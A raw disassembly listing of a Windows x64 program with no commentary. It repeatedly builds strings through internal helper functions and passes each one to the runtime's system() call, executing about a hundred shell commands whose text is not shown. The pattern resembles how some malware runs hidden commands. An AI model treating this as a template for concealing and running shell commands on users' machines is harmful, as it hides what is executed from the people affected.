mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060750
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140060890
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400608f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14011fd9c]
lea rcx, [rbp + 0x490]
call fcn.14004f1b0
nop
lea rdx, [0x14011fd80]
lea rcx, [rbp + 0x310]
call fcn.14004f1b0
nop
lea rdx, [0x14011fd54]
lea rcx, [rbp + 0x470]
call fcn.14004f1b0
nop
lea rdx, [0x14011fd58]
lea rcx, [rbp + 0x450]
call fcn.14004f1b0
nop
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060a40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x70]
call fcn.14004f7e0
nop
lea r8, [rbp + 0x470]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14004f780
nop
lea r8, [rbp + 0x450]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14004f780
nop
lea r8, [rbp + 0x310]
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14004f780
nop
lea r8, [0x14011f9d4]
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.14004f840
nop
lea r8, [rbp + 0x3b0]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14004f780
nop
lea r8, [rbp + 0x4b0]
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.14004f780
nop
lea rcx, [rbp + 0x50]
call fcn.14004f1a0
nop
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0xe0]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0xc0]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0xa0]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x70]
call fcn.14004f1a0
lea rcx, [rbp + 0x430]
call fcn.14004f0f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060ac0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060b30
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060ba0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060c00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060c60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060cd0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060d80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060ee0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060f90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400610c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400611d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061300
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400613a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400614a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400615b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060c00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400616d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140060c60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400617a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061850
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400619b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061a70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061bd0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061cf0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061e10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061ef0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140061f70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400620e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062250
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062320
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062410
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400624e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400625c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062660
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400626d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400624e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14005e430
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062740
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400628b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062a20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062be0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062d80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140062f10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063080
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400631f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400632d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400633b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063490
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400635f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400637a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063930
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ae0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063c90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400641a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064350
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400646b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064860
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064a10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064bc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064d70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064f20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400650d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400641a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064350
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400646b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064860
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064a10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064bc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064d70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064f20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400650d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065280
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400653d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065520
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065670
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400657c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065e50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065fa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400660f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066390
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400664e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065670
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400657c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065e50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065fa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400660f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066390
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400664e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063930
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ae0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
